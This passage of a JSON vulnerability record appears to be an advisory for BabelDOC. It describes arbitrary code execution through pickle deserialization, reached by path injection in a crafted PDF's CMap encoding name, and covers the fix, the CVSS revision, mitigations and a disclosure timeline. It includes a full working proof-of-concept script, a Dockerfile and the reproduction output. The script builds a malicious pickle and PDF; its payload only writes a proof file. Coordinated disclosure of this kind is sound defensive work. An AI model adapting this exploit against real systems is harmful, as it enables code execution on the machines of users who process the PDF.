        "0.3.12",
        "0.3.13",
        "0.3.14",
        "0.3.15",
        "0.3.16",
        "0.3.17",
        "0.3.18",
        "0.3.19",
        "0.3.2",
        "0.3.20",
        "0.3.21",
        "0.3.22",
        "0.3.23",
        "0.3.24",
        "0.3.25",
        "0.3.26",
        "0.3.27",
        "0.3.28",
        "0.3.29",
        "0.3.3",
        "0.3.30",
        "0.3.31",
        "0.3.32",
        "0.3.33",
        "0.3.34",
        "0.3.35",
        "0.3.36",
        "0.3.37",
        "0.3.38",
        "0.3.39",
        "0.3.4",
        "0.3.40",
        "0.3.41",
        "0.3.42",
        "0.3.43",
        "0.3.44",
        "0.3.45",
        "0.3.47",
        "0.3.48",
        "0.3.49",
        "0.3.5",
        "0.3.50",
        "0.3.51",
        "0.3.52",
        "0.3.53",
        "0.3.54",
        "0.3.55",
        "0.3.56",
        "0.3.57",
        "0.3.58",
        "0.3.59",
        "0.3.6",
        "0.3.60",
        "0.3.61",
        "0.3.62",
        "0.3.63",
        "0.3.64",
        "0.3.65",
        "0.3.66",
        "0.3.67",
        "0.3.68",
        "0.3.69",
        "0.3.7",
        "0.3.70",
        "0.3.71",
        "0.3.72",
        "0.3.8",
        "0.3.9",
        "0.4.0",
        "0.4.1",
        "0.4.10",
        "0.4.11",
        "0.4.12",
        "0.4.13",
        "0.4.14",
        "0.4.15",
        "0.4.16",
        "0.4.17",
        "0.4.18",
        "0.4.19",
        "0.4.2",
        "0.4.20",
        "0.4.21",
        "0.4.22",
        "0.4.3",
        "0.4.4",
        "0.4.5",
        "0.4.6",
        "0.4.7",
        "0.4.8",
        "0.4.9",
        "0.5.0",
        "0.5.1",
        "0.5.10",
        "0.5.11",
        "0.5.12",
        "0.5.13",
        "0.5.14",
        "0.5.15",
        "0.5.16",
        "0.5.17",
        "0.5.18",
        "0.5.19",
        "0.5.2",
        "0.5.20",
        "0.5.21",
        "0.5.22",
        "0.5.23",
        "0.5.24",
        "0.5.3",
        "0.5.4",
        "0.5.6",
        "0.5.7",
        "0.5.8",
        "0.5.9",
        "0.6.0",
        "0.6.1",
        "0.6.2"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54071",
    "GHSA-m8gf-v64p-gfmg"
  ],
  "details": "## Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py\n\n### Summary\n\nBabelDOC\u0027s vendored PDF parser (`babeldoc/pdfminer/cmapdb.py`) deserializes untrusted pickle data when loading CMap files. The `_load_data()` method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to `os.path.join()` and `pickle.loads()`. Because Python\u0027s `os.path.join()` discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF\u0027s `/Encoding` name (e.g., `/#2Ftmp#2Fattacker#2Fevil`) can redirect deserialization to any attacker-writable `.pickle.gz` file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.\n\n### Details\n\nThe vulnerable function is `CMapDB._load_data()` at `babeldoc/pdfminer/cmapdb.py:232\u2013245`:\n\n```python\n@classmethod\ndef _load_data(cls, name: str) -\u003e Any:\n    name = name.replace(\"\\0\", \"\")          # line 233 \u2014 only NUL is stripped\n    filename = \"%s.pickle.gz\" % name       # line 234 \u2014 attacker-controlled string\n    ...\n    for directory in cmap_paths:\n        path = os.path.join(directory, filename)   # line 241 \u2014 no realpath/canonical check\n        if os.path.exists(path):\n            gzfile = gzip.open(path)\n            try:\n                return type(str(name), (), pickle.loads(gzfile.read()))  # line 245 \u2014 unconditional pickle\n```\n\n**Path injection via PDF name hex-encoding.** The PDF specification allows name objects to encode arbitrary bytes as `#xx`. The pdfminer literal-name parser (`psparser._parse_literal_hex`) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal `/#2Ftmp#2Fattacker#2Fevil` is decoded to the Python string `/tmp/attacker/evil`.\n\n**Python `os.path.join()` absolute-path override.** When the decoded name starts with `/` (i.e., it is an absolute path), Python\u0027s `os.path.join(directory, name + \".pickle.gz\")` ignores `directory` entirely and returns the absolute path unchanged. The trusted `cmap_paths` directories (`/usr/share/pdfminer/`, the package\u0027s own `cmap/` folder) are therefore completely bypassed.\n\n**Data flow from PDF to sink:**\n\n1. `babeldoc/main.py:611\u2013622` \u2014 CLI accepts a PDF path; only existence and `.pdf` suffix are checked.\n2. `babeldoc/main.py:678\u2013679` \u2014 path stored in `TranslationConfig(input_file=file)`.\n3. `babeldoc/format/pdf/high_level.py:472\u2013488` \u2014 `translation_config.input_file` enters the translate pipeline.\n4. `babeldoc/format/pdf/high_level.py:805\u2013848` \u2014 PDF saved to `temp_pdf_path` and parsed with `parse_prepared_pdf_with_new_parser_to_legacy_ir`.\n5. `babeldoc/format/pdf/new_parser/native_parse.py:60\u201370` \u2014 prepared pages loaded and interpreted.\n6. `babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25\u201334` \u2014 PyMuPDF opens the PDF and builds page resources.\n7. `babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84\u201394` \u2014 font resources converted to `PreparedFontSpec`.\n8. `babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21\u201335` \u2014 page resource bundle resolves root font map.\n9. `babeldoc/format/pdf/new_parser/active_font_runtime.py:79\u201387` \u2014 each font spec projected and passed to `font_factory.create_font`.\n10. `babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291\u2013292, 491\u2013493` \u2014 CID fonts call `build_cid_cmap(spec, literal_name=literal_name)`.\n11. `babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52\u201377` \u2014 PDF-controlled `/Encoding`/`CMapName` normalized and passed to `CMapDB.get_cmap`. `_normalize_cmap_name()` removes only a single leading `/`; all other path characters pass through.\n12. `babeldoc/pdfminer/cmapdb.py:233\u2013245` \u2014 **sink**: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized with `pickle.loads()`.\n\n**Sanitization gaps:**\n\n- `name.replace(\"\\0\", \"\")` removes only the NUL byte; `..`, `/`, `\\`, and hex-decoded path separators are unaffected.\n- There is no `os.path.realpath()`, `os.path.abspath()`, or `os.path.commonpath()` containment check before the file is opened.\n- There is no allowlist of known CMap names nor any integrity verification of the pickle data.\n\n**Recommended patch** (`babeldoc/pdfminer/cmapdb.py`):\n\n```diff\n--- a/babeldoc/pdfminer/cmapdb.py\n+++ b/babeldoc/pdfminer/cmapdb.py\n@@\n         cmap_paths = (\n             os.environ.get(\"CMAP_PATH\", \"/usr/share/pdfminer/\"),\n             os.path.join(os.path.dirname(__file__), \"cmap\"),\n         )\n         for directory in cmap_paths:\n-            path = os.path.join(directory, filename)\n+            base_dir = os.path.realpath(directory)\n+            path = os.path.realpath(os.path.join(base_dir, filename))\n+            try:\n+                if os.path.commonpath([base_dir, path]) != base_dir:\n+                    continue\n+            except ValueError:\n+                continue\n             if os.path.exists(path):\n                 gzfile = gzip.open(path)\n```\n\nA more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.\n\n### PoC\n\n**Environment setup (Docker \u2014 recommended for isolation):**\n\n```bash\n# From the repository root\ndocker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile .\ndocker run --rm vuln-001-babeldoc-cmap\n```\n\n**Manual setup (local venv):**\n\n```bash\npython3 -m venv /tmp/babeldoc-poc-venv\nsource /tmp/babeldoc-poc-venv/bin/activate\npip install freetype-py==2.5.1 charset-normalizer cryptography\nexport PYTHONPATH=/path/to/BabelDOC\npython3 poc.py\n```\n\n**PoC script (`poc.py`) \u2014 key steps:**\n\n```python\nimport gzip, pathlib, pickle, sys\n\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF    = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE       = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n# Step 1 \u2014 write the malicious pickle to a world-writable location\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (pathlib.Path(str(PROOF_FILE)).write_text,\n                (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",))\n\nCMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\nwith gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n    pickle.dump(MaliciousPayload(), fh)\n\n# Step 2 \u2014 craft a PDF whose /Encoding name hex-encodes the absolute path\n# \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to \"/tmp/babeldoc-cmap-poc/malicious\"\nencoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...\n# Full source in poc.py\n\n# Step 3 \u2014 trigger via the pdfminer high-level API\nfrom babeldoc.pdfminer.high_level import extract_text\ntry:\n    extract_text(str(MALICIOUS_PDF))\nexcept TypeError:\n    pass  # expected: type(name, (), \u003cint\u003e) fails after write_text returns int\n\n# Step 4 \u2014 verify\nassert PROOF_FILE.exists(), \"FAIL: proof file not created\"\nprint(PROOF_FILE.read_text())  # =\u003e \"RCE_CONFIRMED: pickle.loads executed attacker payload\"\n```\n\n**Phase 2 dynamic reproduction output (Docker container):**\n\n```\n[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz\n[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf\n[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ...\n[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int\n[*] This exception is expected; the payload ran before it.\n\n============================================================\nRESULT: PASS\nProof file: /tmp/babeldoc_cmap_rce_proof.txt\nContent:    \u0027RCE_CONFIRMED: pickle.loads executed attacker payload\u0027\n============================================================\n```\n\nThe `TypeError` is benign and expected: `write_text()` returns an integer, and the subsequent `type(name, (), \u003cint\u003e)` call in `_load_data()` raises before reaching further code. The payload already executed successfully at that point.\n\n**Attack path summary:**\n\n```\nPDF /Encoding  /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\n  -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n  -\u003e literal_name = \"/tmp/babeldoc-cmap-poc/malicious\"\n  -\u003e CMapDB._load_data(\"/tmp/babeldoc-cmap-poc/malicious\")\n  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"   # absolute path!\n  -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n     == \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"           # first arg discarded\n  -\u003e gzip.open() + pickle.loads() -\u003e arbitrary code execution\n```\n\n### Impact\n\nThis is an **Arbitrary Code Execution** vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.\n\n**Who is impacted:**\n\n- **End users** who open a malicious PDF with the `babeldoc` CLI or any application embedding BabelDOC\u0027s PDF translation/text-extraction functionality.\n- **Automated document processing pipelines** (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.\n\n**Attack prerequisites:**\n\n1. The attacker must be able to place a `.pickle.gz` file at a predictable path on the local filesystem (e.g., `/tmp/`), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative.\n2. The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required \u2014 default PDF processing is the vulnerable code path.\n\n**Scope:** The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user\u0027s process), justifying the **Changed** scope in the CVSS vector and potential lateral movement between users on multi-user systems.\n\n**Consequences:** Full code execution with the victim process\u0027s privileges \u2014 confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install system-level dependencies for freetype\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n    libfreetype6 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install minimal Python dependencies required by babeldoc/pdfminer\nRUN pip install --no-cache-dir \\\n    freetype-py==2.5.1 \\\n    charset-normalizer \\\n    cryptography\n\n# Copy the BabelDOC repository (only babeldoc package directory is needed)\nCOPY repo/babeldoc /app/babeldoc\n\n# Copy the PoC script\nCOPY vuln-001/poc.py /app/poc.py\n\nWORKDIR /app\n\n# PYTHONPATH exposes babeldoc package without a full pip install\nENV PYTHONPATH=/app\n\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nPoC: CMap Pickle Deserialization via Absolute Path Injection\nCVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2\n\nVulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes\nfrom the CMap name before building a filesystem path.  A PDF name object\nusing #xx hex-encoding can inject absolute path characters (/) so that\nos.path.join() discards the trusted cmap directory entirely, opening and\nunpickling an attacker-placed .pickle.gz file.\n\nAttack flow:\n  PDF /Encoding  /#2Ftmp#2F...#2Fmalicious\n    -\u003e pdfminer hex-decodes #2F -\u003e \u0027/\u0027\n    -\u003e literal_name() returns \"/tmp/.../malicious\"\n    -\u003e _load_data(\"/tmp/.../malicious\")\n    -\u003e filename = \"/tmp/.../malicious.pickle.gz\"   (absolute path!)\n    -\u003e os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n       == \"/tmp/.../malicious.pickle.gz\"            (Python discards first arg)\n    -\u003e gzip.open() + pickle.loads() =\u003e arbitrary code execution\n\"\"\"\n\nimport gzip\nimport os\nimport pathlib\nimport pickle\nimport sys\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\nCMAP_STAGING_DIR = pathlib.Path(\"/tmp/babeldoc-cmap-poc\")\nMALICIOUS_PICKLE = CMAP_STAGING_DIR / \"malicious.pickle.gz\"\nMALICIOUS_PDF = CMAP_STAGING_DIR / \"malicious.pdf\"\nPROOF_FILE = pathlib.Path(\"/tmp/babeldoc_cmap_rce_proof.txt\")\n\n\n# ---------------------------------------------------------------------------\n# Step 1: Build the malicious pickle payload\n# ---------------------------------------------------------------------------\nclass MaliciousPayload:\n    \"\"\"Pickle payload that writes a proof file on deserialization.\"\"\"\n\n    def __reduce__(self):\n        # Write proof file when unpickled; any writable command works here.\n        return (\n            pathlib.Path(str(PROOF_FILE)).write_text,\n            (\"RCE_CONFIRMED: pickle.loads executed attacker payload\",),\n        )\n\n\ndef create_malicious_pickle():\n    CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)\n    PROOF_FILE.unlink(missing_ok=True)\n\n    with gzip.open(MALICIOUS_PICKLE, \"wb\") as fh:\n        pickle.dump(MaliciousPayload(), fh)\n\n    print(f\"[+] Malicious pickle written: {MALICIOUS_PICKLE}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 2: Build the malicious PDF\n# ---------------------------------------------------------------------------\ndef create_malicious_pdf():\n    \"\"\"\n    Craft a minimal PDF with a Type0 CID font whose /Encoding name is a\n    PDF literal that hex-encodes an absolute Unix path.\n\n    PDF name syntax: /\u003ccharacters\u003e  where #xx is hex escape for byte 0xxx.\n    \"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\" decodes to the name value\n    \"/tmp/babeldoc-cmap-poc/malicious\" (starts with \u0027/\u0027).\n\n    When passed through babeldoc/pdfminer:\n      literal_name(PSLiteral) -\u003e \"/tmp/babeldoc-cmap-poc/malicious\"\n      _load_data()  -\u003e filename = \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"\n      os.path.join(\"/usr/share/pdfminer/\", \"/tmp/.../malicious.pickle.gz\")\n        =\u003e \"/tmp/babeldoc-cmap-poc/malicious.pickle.gz\"  (absolute wins!)\n    \"\"\"\n    # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious\n    # \u0027#2F\u0027 = \u0027/\u0027 in PDF name hex encoding\n    encoding_name = b\"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious\"\n\n    content_stream = b\"BT\\n/F1 12 Tf\\n100 700 Td\\n(Malicious PDF) Tj\\nET\\n\"\n\n    # PDF objects (1-indexed)\n    objs = [\n        # 1: Catalog\n        b\"\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\",\n        # 2: Pages\n        b\"\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\",\n        # 3: Page - references content stream (4) and font (5)\n        b\"\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\"\n        b\" /Contents 4 0 R /Resources \u003c\u003c /Font \u003c\u003c /F1 5 0 R \u003e\u003e \u003e\u003e \u003e\u003e\",\n        # 4: Content stream\n        b\"\u003c\u003c /Length %d \u003e\u003e\\nstream\\n\" % len(content_stream)\n        + content_stream\n        + b\"\\nendstream\",\n        # 5: Type0 font with malicious /Encoding name\n        b\"\u003c\u003c /Type /Font /Subtype /Type0 /BaseFont /MalFont\"\n        b\" /Encoding \" + encoding_name + b\"\"\n        b\" /DescendantFonts [6 0 R] \u003e\u003e\",\n        # 6: CIDFontType2 descendant\n        b\"\u003c\u003c /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont\"\n        b\" /CIDSystemInfo \u003c\u003c /Registry (Adobe) /Ordering (Identity)\"\n        b\" /Supplement 0 \u003e\u003e /FontDescriptor 7 0 R \u003e\u003e\",\n        # 7: FontDescriptor (minimal)\n        b\"\u003c\u003c /Type /FontDescriptor /FontName /MalFont /Flags 4\"\n        b\" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0\"\n        b\" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 \u003e\u003e\",\n    ]\n\n    buf = bytearray(b\"%PDF-1.4\\n\")\n    offsets = []\n    for i, obj_data in enumerate(objs, 1):\n        offsets.append(len(buf))\n        buf += f\"{i} 0 obj\\n\".encode() + obj_data + b\"\\nendobj\\n\"\n\n    xref_offset = len(buf)\n    buf += f\"xref\\n0 {len(objs) + 1}\\n0000000000 65535 f \\n\".encode()\n    for off in offsets:\n        buf += f\"{off:010d} 00000 n \\n\".encode()\n    buf += (\n        f\"trailer\\n\u003c\u003c /Size {len(objs) + 1} /Root 1 0 R \u003e\u003e\\n\"\n        f\"startxref\\n{xref_offset}\\n%%EOF\\n\"\n    ).encode()\n\n    MALICIOUS_PDF.write_bytes(bytes(buf))\n    print(f\"[+] Malicious PDF written: {MALICIOUS_PDF}\")\n\n\n# ---------------------------------------------------------------------------\n# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text\n# ---------------------------------------------------------------------------\ndef trigger_exploit():\n    from babeldoc.pdfminer.high_level import extract_text\n\n    print(f\"[*] Calling extract_text({MALICIOUS_PDF}) ...\")\n    try:\n        result = extract_text(str(MALICIOUS_PDF))\n        print(f\"[+] extract_text completed, returned {len(result)} chars\")\n    except Exception as exc:\n        # A TypeError is expected: after pickle.loads() returns the result of\n        # write_text() (an int), the code tries type(name, (), \u003cint\u003e) which\n        # raises TypeError.  The write has already happened at this point.\n        print(f\"[*] extract_text raised {type(exc).__name__}: {exc}\")\n        print(\"[*] This exception is expected; the payload ran before it.\")\n\n\n# ---------------------------------------------------------------------------\n# Step 4: Verify RCE evidence\n# ---------------------------------------------------------------------------\ndef verify_rce():\n    if PROOF_FILE.exists():\n        content = PROOF_FILE.read_text()\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: PASS\")\n        print(f\"Proof file: {PROOF_FILE}\")\n        print(f\"Content:    {content!r}\")\n        print(\"=\" * 60)\n        return True\n    else:\n        print()\n        print(\"=\" * 60)\n        print(\"RESULT: FAIL\")\n        print(f\"Proof file {PROOF_FILE} was NOT created.\")\n        print(\"=\" * 60)\n        return False\n\n\n# ---------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------\ndef main():\n    print(\"=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===\")\n    print(f\"Python: {sys.version}\")\n    print()\n\n    create_malicious_pickle()\n    create_malicious_pdf()\n    trigger_exploit()\n    success = verify_rce()\n\n    sys.exit(0 if success else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n---\n\n## Notes from the maintainer\n\n### CVSS revision note\n\nThe CVSS v3.1 vector has been revised from the reporter\u0027s initial\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H` (8.6) to\n`CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` (7.8) on maintainer\nreview. The severity rating remains **High**.\n\nOne metric is revised; the remaining metrics (`AV:L`, `AC:L`, `PR:N`,\n`UI:R`, `C:H/I:H/A:H`) are unchanged from the reporter\u0027s assessment.\n\n- **Scope: Changed \u2192 Unchanged.** BabelDOC is a PDF-processing\n  library running with the caller process\u0027s operating-system\n  permissions; it does not enforce a separate security authority over\n  OS files, users, or downstream services. The malicious pickle\n  payload executes in that same BabelDOC Python process. Under CVSS\n  v3.1, this is Scope Unchanged: the vulnerable component and the\n  impacted component are governed by the same authority. No sandbox,\n  VM, browser-client, or application-defined authorization boundary\n  is crossed.\n\nThe remaining metrics are retained intentionally:\n\n- `AV:L`, `PR:N`, `UI:R`: the attack requires local presence of\n  attacker-influenced data (consistent with `AV:L`), does not require\n  authenticated access to BabelDOC itself (`PR:N`), and depends on a\n  user actually processing the crafted PDF (`UI:R`).\n - `AC:L`: kept aligned with industry practice for CWE-502\n  deserialization issues; once the supporting filesystem condition\n  exists, the same-process exploitation path is consistent and\n  repeatable.\n- `C:H`, `I:H`, `A:H`: full code-execution impact within the\n  BabelDOC process.\n\nWe thank EQSTLab for the detailed report and PoC; this revision is\nlimited to CVSS metric interpretation, and the issue remains High\nseverity when exploitable.\n\n### Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)\n\nThe original report covers entry point (1): the `Encoding` / `CMapName`\nfont dictionary path, with absolute-path injection. Local review during\npatch preparation identified that the same `_load_data` sink is reached\nfrom one additional independently exploitable PDF-controlled path and\ntwo prefixed call sites covered at the sink for defense in depth:\n\n1. `Encoding` / `CMapName` references in a font dictionary\n   *(reported entry; absolute-path injection per the upstream report,\n   `..` relative traversal also exploitable)*\n2. The PostScript `usecmap` operator inside an embedded CMap stream\n   *(independently exploitable via `..` relative traversal; not in the\n   original report)*\n3. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   legacy pdfminer pipeline\n4. `CIDSystemInfo.Ordering` flowing through `get_unicode_map` in the\n   active new-parser pipeline\n\nCall sites (3) and (4) were not reproduced as standalone PDF-only\nexploit paths in v0.6.x. The `get_unicode_map` caller prepends a\n`to-unicode-` prefix to the PDF-controlled name, which breaks\nabsolute-path injection and means `..` traversal would require an\nadditional crafted directory layout such as a `to-unicode-*`\ncomponent under a CMap search location. The 0.6.3 sink-level fix\nstill covers these call sites, so future removal of the prefix or\na future unprefixed caller remains blocked.\n\n### Fix design\n\nThe runtime CMap loader in 0.6.3 refuses to deserialize any file that\ndoes not simultaneously:\n\n1. appear in a pinned manifest of bundled CMap filenames (allowlist),\n2. resolve inside the bundled `runtime/data/cmap` directory after path\n   resolution (containment check), and\n3. byte-for-byte match the manifest\u0027s pinned byte size and SHA-256.\n\nThe integrity check runs on the compressed on-disk `.gz` bytes before\ndecompression, so files whose compressed size or SHA-256 differs from\nthe pinned manifest are rejected before `gzip` or `pickle` sees them.\nThe legacy `CMAP_PATH` external search path is removed entirely; only\nthe bundled directory is consulted. The active new-parser pipeline\nand the vendored pdfminer pipeline share the same verified-load entry\npoint.\n\n### Related hardening shipped in 0.6.3\n\nA separate hardening in the same release sanitizes PDF-controlled\nXObject names before they reach the optional `ImageWriter` output\npath, preventing PDF-driven writes outside the configured output\ndirectory. This is separate from BabelDOC\u0027s default translation\npipeline: the optional `ImageWriter` is not used by default and is\nonly reachable when a third-party caller passes an explicit\n`output_dir`. It is included here for completeness.\n\n### Risk reduction if you cannot upgrade immediately\n\nThese steps reduce known exploit preconditions on pre-0.6.3 versions;\nthey are not equivalent to the 0.6.3 fix.\n\n- Do not set the `CMAP_PATH` environment variable when running\n  BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3\n  versions, unsetting it limits the attack surface to the bundled\n  cmap directory under the BabelDOC package.\n- Run BabelDOC under an account that cannot create files in any\n  directory BabelDOC will read CMap data from, including any\n  pre-0.6.3 `CMAP_PATH` target.\n- Process only PDFs from trusted sources until upgrading.\n\n### Maintenance policy\n\nBabelDOC publishes security fixes only in the latest release. We do\nnot publish maintainer-supported backports for older minor, patch, or\nrelease lines. For this advisory, the maintainer-supported fixed\nversion is 0.6.3 or later; downstream distributors may carry their\nown patches, but older BabelDOC releases will not receive a separate\nupstream backport.\n\n### Acknowledgements\n\nWe thank **EQSTLab** for the detailed private report, complete\nreproduction material, and coordinated-disclosure cooperation that\nallowed this fix to be prepared and released before public\ndisclosure.\n\n### Timeline\n\n- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and\n  notifies maintainers\n- 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix\n- 2026-06-03 09:50 UTC: this advisory published\n- TBD: CVE identifier assigned (pending GitHub CNA review; GitHub\n  documentation says CVE requests are usually reviewed within 72\n  hours)\n\n### References\n\n- BabelDOC 0.6.3 release notes:\n  https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md\n- CVE: TBD (pending CNA assignment)",
  "id": "PYSEC-2026-2389",
  "modified": "2026-07-13T16:03:35.168272Z",
  "published": "2026-07-13T15:46:30.708239Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/funstory-ai/BabelDOC/security/advisories/GHSA-m8gf-v64p-gfmg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/funstory-ai/BabelDOC"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/babeldoc"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-m8gf-v64p-gfmg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54071"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py"
}